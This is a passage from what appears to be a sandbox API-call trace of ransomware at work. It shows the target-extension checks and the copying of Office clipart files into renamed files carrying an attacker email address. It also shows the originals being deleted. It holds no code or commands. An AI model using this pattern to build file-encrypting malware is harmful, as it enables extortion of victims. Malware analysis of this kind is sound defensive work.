(lpString=".xlsx") returned 5 [0167.693] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.693] lstrlenW (lpString=".ppt") returned 4 [0167.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.693] lstrlenW (lpString=".zip") returned 4 [0167.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.693] lstrlenW (lpString=".rar") returned 4 [0167.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString=".bz2") returned 4 [0167.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString=".7z") returned 3 [0167.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.693] lstrlenW (lpString=".dbf") returned 4 [0167.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.693] lstrlenW (lpString=".1cd") returned 4 [0167.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.693] lstrlenW (lpString=".jpg") returned 4 [0167.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.694] lstrlenW (lpString=".doc") returned 4 [0167.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString=".docx") returned 5 [0167.694] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.694] lstrlenW (lpString=".pdf") returned 4 [0167.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString=".xls") returned 4 [0167.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.694] lstrlenW (lpString=".xlsx") returned 5 [0167.694] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.694] lstrlenW (lpString=".ppt") returned 4 [0167.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.694] lstrlenW (lpString=".zip") returned 4 [0167.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.694] lstrlenW (lpString=".rar") returned 4 [0167.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString=".bz2") returned 4 [0167.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString=".7z") returned 3 [0167.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.694] lstrlenW (lpString=".dbf") returned 4 [0167.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.694] lstrlenW (lpString=".1cd") returned 4 [0167.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.694] lstrlenW (lpString=".jpg") returned 4 [0167.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.694] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.694] lstrlenW (lpString="J0107282.WMF") returned 12 [0167.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.697] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14132) returned 1 [0167.697] CloseHandle (hObject=0x378) returned 1 [0167.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0167.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.702] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.702] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.705] GetLastError () returned 0x0 [0167.705] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3734, lpOverlapped=0x0) returned 1 [0167.707] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3740, lpOverlapped=0x0) returned 1 [0167.708] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.708] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.708] SetEndOfFile (hFile=0x378) returned 1 [0167.708] CloseHandle (hObject=0x378) returned 1 [0167.711] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.711] SetEndOfFile (hFile=0x398) returned 1 [0167.714] CloseHandle (hObject=0x398) returned 1 [0167.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0167.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.716] lstrlenW (lpString=".doc") returned 4 [0167.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.716] lstrlenW (lpString=".docx") returned 5 [0167.716] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.716] lstrlenW (lpString=".pdf") returned 4 [0167.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.716] lstrlenW (lpString=".xls") returned 4 [0167.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.717] lstrlenW (lpString=".xlsx") returned 5 [0167.717] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.717] lstrlenW (lpString=".ppt") returned 4 [0167.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.717] lstrlenW (lpString=".zip") returned 4 [0167.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.717] lstrlenW (lpString=".rar") returned 4 [0167.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString=".bz2") returned 4 [0167.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString=".7z") returned 3 [0167.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.717] lstrlenW (lpString=".dbf") returned 4 [0167.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.717] lstrlenW (lpString=".1cd") returned 4 [0167.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.717] lstrlenW (lpString=".jpg") returned 4 [0167.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.717] lstrlenW (lpString=".doc") returned 4 [0167.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString=".docx") returned 5 [0167.717] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.717] lstrlenW (lpString=".pdf") returned 4 [0167.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.717] lstrlenW (lpString=".xls") returned 4 [0167.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.717] lstrlenW (lpString=".xlsx") returned 5 [0167.717] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.717] lstrlenW (lpString=".ppt") returned 4 [0167.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.718] lstrlenW (lpString=".zip") returned 4 [0167.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.718] lstrlenW (lpString=".rar") returned 4 [0167.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.718] lstrlenW (lpString=".bz2") returned 4 [0167.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.718] lstrlenW (lpString=".7z") returned 3 [0167.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.718] lstrlenW (lpString=".dbf") returned 4 [0167.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.718] lstrlenW (lpString=".1cd") returned 4 [0167.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0167.718] lstrlenW (lpString=".jpg") returned 4 [0167.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.718] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.718] lstrlenW (lpString="J0107302.WMF") returned 12 [0167.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.725] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4136) returned 1 [0167.725] CloseHandle (hObject=0x398) returned 1 [0167.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0167.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.741] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.741] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.746] GetLastError () returned 0x0 [0167.746] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1028, lpOverlapped=0x0) returned 1 [0167.749] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1030, lpOverlapped=0x0) returned 1 [0167.750] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.750] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.750] SetEndOfFile (hFile=0x370) returned 1 [0167.754] CloseHandle (hObject=0x370) returned 1 [0167.759] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.759] SetEndOfFile (hFile=0x360) returned 1 [0167.765] CloseHandle (hObject=0x360) returned 1 [0167.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0167.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.771] lstrlenW (lpString=".doc") returned 4 [0167.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.771] lstrlenW (lpString=".docx") returned 5 [0167.771] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.771] lstrlenW (lpString=".pdf") returned 4 [0167.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.771] lstrlenW (lpString=".xls") returned 4 [0167.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.771] lstrlenW (lpString=".xlsx") returned 5 [0167.771] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.771] lstrlenW (lpString=".ppt") returned 4 [0167.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.771] lstrlenW (lpString=".zip") returned 4 [0167.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.771] lstrlenW (lpString=".rar") returned 4 [0167.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.771] lstrlenW (lpString=".bz2") returned 4 [0167.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.771] lstrlenW (lpString=".7z") returned 3 [0167.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.771] lstrlenW (lpString=".dbf") returned 4 [0167.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".1cd") returned 4 [0167.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".jpg") returned 4 [0167.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".doc") returned 4 [0167.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString=".docx") returned 5 [0167.772] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.772] lstrlenW (lpString=".pdf") returned 4 [0167.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString=".xls") returned 4 [0167.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.772] lstrlenW (lpString=".xlsx") returned 5 [0167.772] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.772] lstrlenW (lpString=".ppt") returned 4 [0167.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".zip") returned 4 [0167.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.772] lstrlenW (lpString=".rar") returned 4 [0167.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString=".bz2") returned 4 [0167.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString=".7z") returned 3 [0167.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".dbf") returned 4 [0167.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".1cd") returned 4 [0167.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0167.772] lstrlenW (lpString=".jpg") returned 4 [0167.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.772] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.772] lstrlenW (lpString="J0107328.WMF") returned 12 [0167.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.776] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6532) returned 1 [0167.776] CloseHandle (hObject=0x360) returned 1 [0167.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0167.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.782] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.782] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.789] GetLastError () returned 0x0 [0167.789] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1984, lpOverlapped=0x0) returned 1 [0167.792] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1990, lpOverlapped=0x0) returned 1 [0167.793] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.793] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.793] SetEndOfFile (hFile=0x308) returned 1 [0167.797] CloseHandle (hObject=0x308) returned 1 [0167.798] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.798] SetEndOfFile (hFile=0x3ac) returned 1 [0167.807] CloseHandle (hObject=0x3ac) returned 1 [0167.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString=".doc") returned 4 [0167.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString=".docx") returned 5 [0167.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.811] lstrlenW (lpString=".pdf") returned 4 [0167.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString=".xls") returned 4 [0167.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.811] lstrlenW (lpString=".xlsx") returned 5 [0167.811] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.811] lstrlenW (lpString=".ppt") returned 4 [0167.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0167.811] lstrlenW (lpString=".zip") returned 4 [0167.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.811] lstrlenW (lpString=".rar") returned 4 [0167.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.811] lstrlenW (lpString=".bz2") returned 4 [0167.811] lstrcmpiW (lpString1=".bz2", 